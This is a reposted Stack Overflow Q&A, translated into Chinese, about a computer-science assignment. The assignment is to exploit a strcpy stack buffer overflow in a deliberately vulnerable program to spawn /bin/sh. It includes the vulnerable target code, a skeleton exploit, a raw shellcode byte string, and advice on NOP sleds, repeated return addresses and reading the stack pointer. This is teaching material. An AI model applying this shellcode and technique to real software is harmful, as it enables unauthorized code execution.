gpt4 book ai didi

buffer - 故意缓冲区溢出漏洞利用程序

转载 作者:行者123 更新时间:2023-12-04 19:20:43 25 4
gpt4 key购买 nike

我正在尝试为我的一个 comp sci 类(class)找出这个问题,我已经利用了所有资源,但仍然存在问题,如果有人能提供一些见解,我将不胜感激。

我有这个“目标”,我需要使用缓冲区溢出漏洞执行 execve(“/bin/sh”)。在buf[128]的溢出中,在执行不安全命令strcpy时,在系统期望找到返回地址的位置出现了一个返回缓冲区的指针。

目标文件

int bar(char *arg, char *out)
{
strcpy(out,arg);
return 0;
}

int foo(char *argv[])
{
char buf[128];
bar(argv[1], buf);
}

int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "target: argc != 2");
exit(EXIT_FAILURE);
}
foo(argv);
return 0;
}

漏洞利用程序
#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
char *args[3];
char *env[1];

args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
env[0] = NULL;

if (0 > execve(TARGET, args, env))
fprintf(stderr, "execve failed.\n");

return 0;
}

shellcode.h
static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

我知道我需要用超过 128 个字节填充 argv[1],超过 128 个字节是返回地址,它应该指向缓冲区,以便它在其中执行/bin/sh。到目前为止,这是正确的吗?有人可以提供下一步吗?

非常感谢您的帮助。

最佳答案

好吧,所以您希望程序执行您的 shellcode。它已经以机器形式存在,因此可以由系统执行。您已将其存储在缓冲区中。因此,问题将是“系统如何知道执行我的代码?”更准确地说,“系统如何知道在哪里寻找下一个要执行的代码?”在这种情况下,答案是您所说的退货地址。

基本上,您走在正确的轨道上。您是否尝试过执行代码?在执行这种类型的漏洞利用时,我注意到的一件事是它不是一门精确的科学。有时,内存中还有您不希望存在的其他内容,因此您必须增加添加到缓冲区中的字节数,以便将返回地址与系统期望的位置正确对齐。

我不是安全专家,但我可以告诉你一些可能有帮助的事情。一个是我通常包含一个“NOP Sled”——本质上只是一系列 0x90 字节,除了在处理器上执行“NOP”指令之外不做任何事情。另一个技巧是在缓冲区的末尾重复返回地址,这样即使其中一个覆盖了堆栈上的返回地址,您也将成功返回到您想要的位置。

因此,您的缓冲区将如下所示:

| NOP雪橇| shell 代码 |重复的返回地址 |

(注意:这些不是我的想法,我是从乔恩·埃里克森(Jon Erickson)的《黑客:剥削的艺术》中获得的。如果您有兴趣了解更多信息,我推荐这本书)。

要计算地址,您可以使用类似于以下内容的内容:

unsigned long sp(void) 
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer

int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char* buffer;

offset = 0;
esp = sp();
ret = esp - offset;
}

现在, ret 将保存您想要返回的返回地址,假设您将缓冲区分配到堆上。

关于buffer - 故意缓冲区溢出漏洞利用程序,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/3860655/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com